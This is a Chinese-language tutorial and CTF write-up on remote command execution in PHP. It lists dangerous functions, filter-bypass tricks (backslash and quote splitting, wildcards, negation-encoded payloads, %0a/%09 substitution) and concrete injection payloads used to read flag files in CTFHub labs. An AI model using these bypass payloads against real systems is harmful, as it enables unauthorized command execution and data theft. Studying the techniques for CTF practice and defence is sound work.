RCE漏洞简介以及常见的绕过方式
一:漏洞简介
1.1.漏洞原理
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
1.2.漏洞产生条件
(1)调用第三方组件存在的代码执行漏洞。
(2)用户输入的内容作为系统命令的参数拼接到命令中。
(3)对用户的输入过滤不严格。
(4)可控变量或漏洞函数。
二:常见的漏洞函数
1.系统命令执行函数
system():能将字符串作为OS命令执行,且返回命令执行结果;
该函数会将执行的结果输出并将输出结果的最后一行作为字符串返回,如果执行失败则返回fale。这个函数也是经常被使用到的。
如:<?php
highlight_file(__FILE__);
system('pwd');
?>
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
shell_exec():能将字符串作为OS命令执行、
该函数不会输出结果,但是会返回执行结果的最后一行,可以结合output进行结果的输出。
如:<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen():打开进程文件指针
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序;
反引号``:反引号``内的字符串会被解析为OS命令;
2.代码执行函数
eval():将字符串作为php代码执行;
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
三:RCE绕过(内容为借鉴)
- 管道符:
(个人感觉这里的命令与c语言中的相似)
- 空格过滤:
- 反斜杠\绕过:
//如cat、ls被过滤,使用\绕过
(1):c\at /flag
(2):l\s /
4.取反绕过:
//取反传参
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
5.正则匹配绕过:
//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}
6.引号绕过:
//如cat、ls被过滤
(1)ca""t /flag
(2)l's' /
7.cat命令替换:
8.无回显RCE:
//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
(1)ls / | tee 1.txt
(2)cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)
这里只学习了一些基础的绕过方式,比如异或绕过,回溯绕过那些并没有进行学习
关于rce绕过的例题:(来源于ctfhub)
- eval执行
进入题目,查看源代码,为php函数,该函数意思为:判断是否有变量cmd,如果有,则执行eval($_REQUEST[‘cmd’]);(一句话木马)
(_isset判断一个变量是否已设置, 即变量已被声明,且其值为true)
执行?cmd=system("ls");命令 system():执行系统命令并输出执行结果
执行?cmd=system("ls%20/"); 查看根目录,发现了flag
执行?cmd=system("cat%20/flag_13678"); 得到flag
- 命令注入
查看网页信息,该题对注入的命令无任何过滤,且当输入ip的时候,cmd会执行ping命令,尝试ping 127.0.0.1 | ls ,可以正常连接
Ping一下 127.0.0.1 | cat 1211899251290.php
Ping之后发现这里结果没有显示,我们需要右击查看页面源码
这里发现flag
- 过滤cat
其他步骤不变,查看文件的命令不能是cat,对比上述知识点,选择其他的查看文件的命令;
选用head命令查看,查看页面源代码,获取flag
查看网页源代码,查找flag
发现flag
- 过滤空格
1.先看当前目录(ping一下127.0.0.1;ls)
- 根据题目可以知道空格被过滤掉了
证明替代可以绕过;
发现64编码,将其解码即可的得到flag
解码获取flag
- 过滤目录分隔符
知识点:
1.目录分隔符被过滤后,无法通过cat等查看目录的命令直接读取文件夹的目录里的PHP文件,而是需要先进入该文件夹(查看文件夹目录),再通过cat读取PHP文件的内容
先试一下 127.0.0.1;ls
发现这里有一个文件夹flag_is_here
我们再查看一下
127.0.0.1;ls flag_is_here
找到flag的文件了
接下来构造payload:
127.0.0.1;cd flag_is_here;cat flag_16503286943370.php
发现此页面为空,查看网页源代码,查找flag
发现flag
- 过滤运算符
进入题目,发现本题过滤了这些运算符,不过我一直在使用 ; 不影响
执行 127.0.0.1;ls 命令,发现flag文件
用运算符;cat查看flag文件
页面为空,查看源代码
发现flag
- 综合练习
进入题目发现这些/(\||&|;| |\/|cat|flag|ctfhub)/运算符全部被过滤掉了
这里我们可以利用url地址栏来构造payload。
%0a 是 换行符
%09 是 TAB键
127.0.0.1%0als
127.0.0.1%0als%09*
tab键可以自动补齐后面的内容ls%09*可查看所有的文件
得到文件 flag_269851518025235.php
127.0.0.1%0acd%09*here%0aca''t%09*.php
cat被过滤了,所以用ca’'t来代替
一样的查看源代码查找flag
得到flag